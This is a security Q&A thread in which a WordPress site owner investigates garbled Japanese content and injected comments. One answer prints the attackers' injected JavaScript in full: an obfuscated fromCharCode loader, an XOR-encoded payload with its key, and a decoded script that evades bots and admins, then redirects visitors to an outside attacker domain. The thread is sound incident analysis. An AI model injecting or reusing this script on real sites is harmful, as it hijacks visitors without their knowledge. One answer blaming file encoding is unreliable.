9

One of our customer's site turned into a broken state. Most of the content (which is in Japanese), turned something like this: 会�����案内 (which originally was: 会社案内. Checking on the code, there is no clue that is an encoding problem, but it seems to me that something changed the content deliberately.

At the bottom of the page, it shows these comments (actual values):

<!-- /* 15pJQhrPh3XJCUOiaQCa62html */ -->
<!-- F85FQXHZqA -->
<!-- /* 1uqjsQSyWVhmOHAEVa1i62html */ -->

I searched those strings and it seems other sites are showing the same codes (few though). All of them looks like hacked, but only one shows "�" signs. When recovering the website from a backup, I can confirm those comments where not there.

Probably this question is related to this one : Hacked HTML page - what's in the comment following the obfuscated code?

However these strings are not encoded in the same way and not JS is included nor <b1> tag.

I don't think its a ramsomware as it is not all encrypted, it seems to me more like vandalism through injection. About the codes on the bottom, it could be a kind of ID, to see which sites has been "done" already.

I run it through some online malware-check sites and showed nothing.

What is the purpose of it? Anyone here knows what kind of attack it is?

7
  • Why the downvote? If my question is not clear, help me to improve it.
    – lepe
    Aug 3, 2016 at 3:56
  • 2
    Since you mention this is a wordpress website, have you run a scan with the Wordfence plugin? It will check your wordpress installation for any suspicious changes.
    – tlng05
    Aug 3, 2016 at 6:41
  • No, we are not using that plugin, but now that you say, I will try it. It could be very useful. Thank you!
    – lepe
    Aug 3, 2016 at 6:43
  • If you do use Wordpress I suggest using this problem as a reason to move off that awful platform onto something more safe (perhaps a static website if you do not need dynamic functionality?). WP should be considered compromised from the second it is installed, it is a really awful piece of software. Aug 3, 2016 at 6:56
  • @Andre: I agree with you, but moving 400+ sites its not an easy task. Each WP site is running in its own container but it can not prevent vulnerabilities like this one. :S
    – lepe
    Aug 3, 2016 at 7:08

3 Answers 3

12

After checking the websites which contained such comments, I found that all of them are Wordpress sites. 3 of them contained an injected Javascript (in our site, all javascript is removed from posts, so maybe that is why that code was not successfully injected). The obfuscated code looks like:

(new Function(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8, 37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106 - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6, 102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9, 48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 - 2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3, 86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8, 89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71 - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107...

After decoding it, it becomes:

var key = 'hhVryOyUnI';
var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';
function xor_enc(string, key) {
  var res = '';
  for (var i = 0; i < string.length; i++) {
    res += String.fromCharCode(string.charCodeAt(i) ^
                                key.charCodeAt(i % key.length));
  }
  return res;
}

var dec = xor_enc(atob(enced), key);
(new Function(dec))();

After further decoding:

(function asd() {
  var w_location = 'http://vyhub.com/css/css/';
  var cookie = 'yYjra4PCc8kmBHess1ib';

  function start() {
    var cookies = document.cookie || '';
    if (cookies.indexOf(cookie) !== -1) {
      return;
    }
    if (cookies.indexOf('wp-settings') !== -1) {
      return;
    }
    if (localStorage.getItem(cookie) === '1') {
      return;
    }
    var uagent = navigator.userAgent;
    if (!uagent) {
      return;
    }

    uagent = uagent.toLowerCase();
    if (uagent.indexOf('google') !== -1
        || uagent.indexOf('bot') !== -1
        || uagent.indexOf('crawl') !== -1
        || uagent.indexOf('bing') !== -1
        || uagent.indexOf('yahoo') !== -1) {
      return;
    }

    setTimeout(function() {
      setCookie(cookie, '123', 730);
      localStorage.setItem(cookie, '1');
      window.location = w_location;
    }, 20 * 1000);
  }
  function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
    document.cookie = c_name + '=' + c_value;
  }

  var readyStateCheckInterval = setInterval(function() {
    if (document.readyState === 'complete'
        || document.readyState == 'interactive') {
      clearInterval(readyStateCheckInterval);
      start();
    }
  }, 10);

}());

What I can get from that code is:

It does not run if a bot is the user agent (e.g. google, yahoo...) or if you are running as admin/editor? (I couldn't find about wp-settings cookie).

After 20 seconds: It setups a cookie with name "yYjra4PCc8kmBHess1ib" for the attacked domain, with value "123" and stores in local storage such key with value 1. (key must be different per site, to identify it)

After that, it will redirect your site to: http://vyhub.com/css/css/

That's it.

About "vyhub.com":

The front page shows: "Its Working...!" It is registered with godaddy.com, but not further information is available. The server is located in Singapore. http://vyhub.com/css/css/ takes you to http://loveo.com

About "loveo.com":

Its a dating site located and registered in US.

So what I see from this, is that they use a Wordpress vulnerability to inject a JS which will redirect visitors into loveo.com.

Bad business...

Encoding problem:

The problem with the encoding could be related to other reasons: perhaps the code who injects the code altered the original content intentionally (vandalism) or unintentionally (they don't handle unicode very well).

Action taken:

Logs didn't show anything suspicious (so far), so we run some security checks at the server and all seems in place. After recovered from a backup, we updated wordpress (it was slightly outdated) + plugins and changed passwords.

3
  • If you must use WP I'd recommend at least switching its directory and database read-only, to make sure future attacks have no way to persist. Of course the correct response would be to stop using WP. Aug 3, 2016 at 6:59
  • 1
    All that effort to xor and they didn't bother to clouser/uglify the attack code first? lame... I also like the W3fools cut and paste cookie functions, not...
    – dandavis
    Aug 3, 2016 at 18:02
  • lol thanks for the explanation; I found a website that had this code and also something similar that was 3 levels of obfuscation deep rather than 2: gist.github.com/jason-s/93342534415715403c56d0a39d640903
    – Jason S
    Apr 3, 2021 at 3:15
0

I found this exact same script in nearly every page on my website. I believe what happened is an editor / author's account credentials were compromised, and the hacker/bot logged in to my wordpress as this user, and added this code to every page and post on my site.

How I discovered it:

  1. I exported my database to a .sql file and ran a text search for a chunk of the script. 8500+ matches, seemingly all in the wp_posts table.

  2. I looked at the edit history of each post/page, and all of a sudden 3 months ago, there were 30+ edits by a user that hasn't been with my company in 2 years. I believe his password was stolen/compromised.

Hopefully this helps someone who is trying to figure out how they got compromised.

1
  • 3
    "there were 30+ edits by a user that hasn't been with my company in 2 years" - then the issue is that you're not adequately managing the site - not that someone's account was compromised. I sympathize with Andre's comments earlier; Wordpress is not a great platform to start building something secure on. But with good management you can get something which is reasonably robust. OTOH if you're not managing user accounts, then you're probably not managing the patches and other controls that should be de rigeur.
    – symcbean
    Oct 12, 2016 at 15:23
-2

it seems you must check your encoding when you saving the html page,

i think its all about your encoding not hacking issues,

do not save your html page as ANSI encoding and save it as UNICODE,

then add this meta tag to header of your html page:

meta charset="UTF-8"

2
  • This is a wordpress website. We have 400+ websites like that one (also in Japanese) and we have never run into a problem like this. If it were an encoding problem, it would have been the whole page, not within a word. The html looks like: <p>会�����案内</p>. There is no way a wrong encoding could produce such thing (as the other parts of the word are correct). That is why I think it must have been deliberately.
    – lepe
    Aug 3, 2016 at 5:18
  • @lepe I think what happened is that you have some malicious code running before the Wordpress code that is outputting perhaps the wrong encoding header, or outputs some characters in a different language and the browser guesses the encoding according to that (but that encoding ends up being wrong for Japanese characters). Aug 3, 2016 at 6:58

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.